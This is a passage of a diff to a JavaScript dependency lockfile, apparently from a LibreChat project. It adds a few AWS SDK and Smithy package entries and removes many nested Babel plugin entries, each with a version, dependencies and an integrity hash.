"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core": ["@aws-sdk/core@3.927.0", "", { "dependencies": { "@aws-sdk/types": "3.922.0", "@aws-sdk/xml-builder": "3.921.0", "@smithy/core": "^3.17.2", "@smithy/node-config-provider": "^4.3.4", "@smithy/property-provider": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/signature-v4": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-QOtR9QdjNeC7bId3fc/6MnqoEezvQ2Fk+x6F+Auf7NhOxwYAtB1nvh0k3+gJHWVGpfxN1I8keahRZd79U68/ag=="],
@@ -8023,6 +7893,8 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
@@ -8051,125 +7923,7 @@
"@langchain/google-gauth/google-auth-library/gaxios/rimraf": ["rimraf@5.0.10", "", { "dependencies": { "glob": "^10.3.7" }, "bin": "dist/esm/bin.mjs" }, "sha512-l0OE8wL34P4nJH/H2ffoaniAokM2qSmrtXHmlpvYr5AVVX8msAyW0l8NVJFDxlSK4u3Uh/f41cQheDVdnYijwQ=="],
- "@librechat/client/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-for-of/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-spread/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
-
- "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
-
- "@librechat/client/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
-
- "@librechat/client/@babel/preset-env/core-js-compat/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
-
- "@librechat/client/@babel/preset-react/@babel/plugin-transform-react-jsx/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-react/@babel/plugin-transform-react-pure-annotations/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-for-of/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
